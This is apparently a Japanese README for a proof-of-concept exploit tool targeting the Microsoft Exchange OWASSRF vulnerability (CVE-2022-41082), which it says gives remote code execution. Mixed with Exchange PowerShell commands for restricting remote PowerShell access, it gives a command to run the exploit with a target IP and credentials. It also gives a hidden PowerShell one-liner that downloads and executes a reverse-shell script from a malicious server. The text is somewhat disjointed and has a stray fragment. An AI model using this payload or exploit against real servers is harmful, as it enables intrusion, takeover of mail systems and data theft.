
CVE-2022-41082-poc
このリポジトリには、Microsoft Exchange サーバーにおける OWASSRF の脆弱性 (CVE-2022-41082) を悪用するための概念実証 (PoC) ツールが含まれています。このエクスプロイトにより、攻撃者はサーバー上で任意のコマンドを実行し、システムを危険にさらす可能性があります。
このツールは OWASSRF の脆弱性を利用して認証をバイパスし、Exchange サーバー上でリモートコード実行 (RCE) を達成します。この脆弱性を悪用することで、攻撃者は認証済みユーザーであるかのようにコマンドを実行でき、深刻なセキュリティ上の影響をもたらします。
このツールを使用するときは、Exchange 管理シェルの同じセッションを開いたままにしておくことを必ず確認してください。他のユーザーのリモート PowerShell アクセスを無効にした後も、少なくとも 1 人のユーザーに対してはリモート PowerShell アクセスを有効にしておくことが重要です。そうしないと、すべての Exchange サーバーで管理シェルへのアクセスを失う可能性があります。
アクセス権を持つユーザーを確認および管理するための便利な PowerShell コマンドをいくつか示します。
リモート PowerShell アクセスが有効なユーザーと無効なユーザーを確認するには、次を実行します。
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
警告: 少なくとも 1 人のユーザーを戻すまで、Exchange 管理シェルのウィンドウを閉じないように注意してください。
次のコマンドを使用して、すべてのユーザーの PowerShell アクセスを無効にできます。
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
または、次の 1 つのコマンドで同じ結果を得られます。
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
特定のユーザーにリモート PowerShell アクセスを許可するには、次を実行します。
Set-User "guest" -RemotePowerShellEnabled $true
すべてのユーザーの PowerShell アクセスを失った場合は、管理者権限を持つ新しいメールボックスユーザーを作成できます。この新しいユーザーは適用されたポリシーを回避するため、Exchange 管理シェルを再び使用できます。
pip でインストール)PoC ツールを実行するには、次のコマンドを実行します。
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
<target_IP>、<username>、<password>、<command_file> をそれぞれの値に置き換えてください。
cmd_file 内のコマンドを変更して、リバースシェルペイロードを含めることができます。例:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
このコマンドは、サーバーから PowerShell スクリプトをダウンロードして実行し、リバースシェルを提供します。
OWASSRF の脆弱性と PoC コードの詳細については、次のリンクを参照してください: OWASSRF CVE-2022-41082 PoC および https://www.youtube.com/watch?v=c2DZYP6jc7g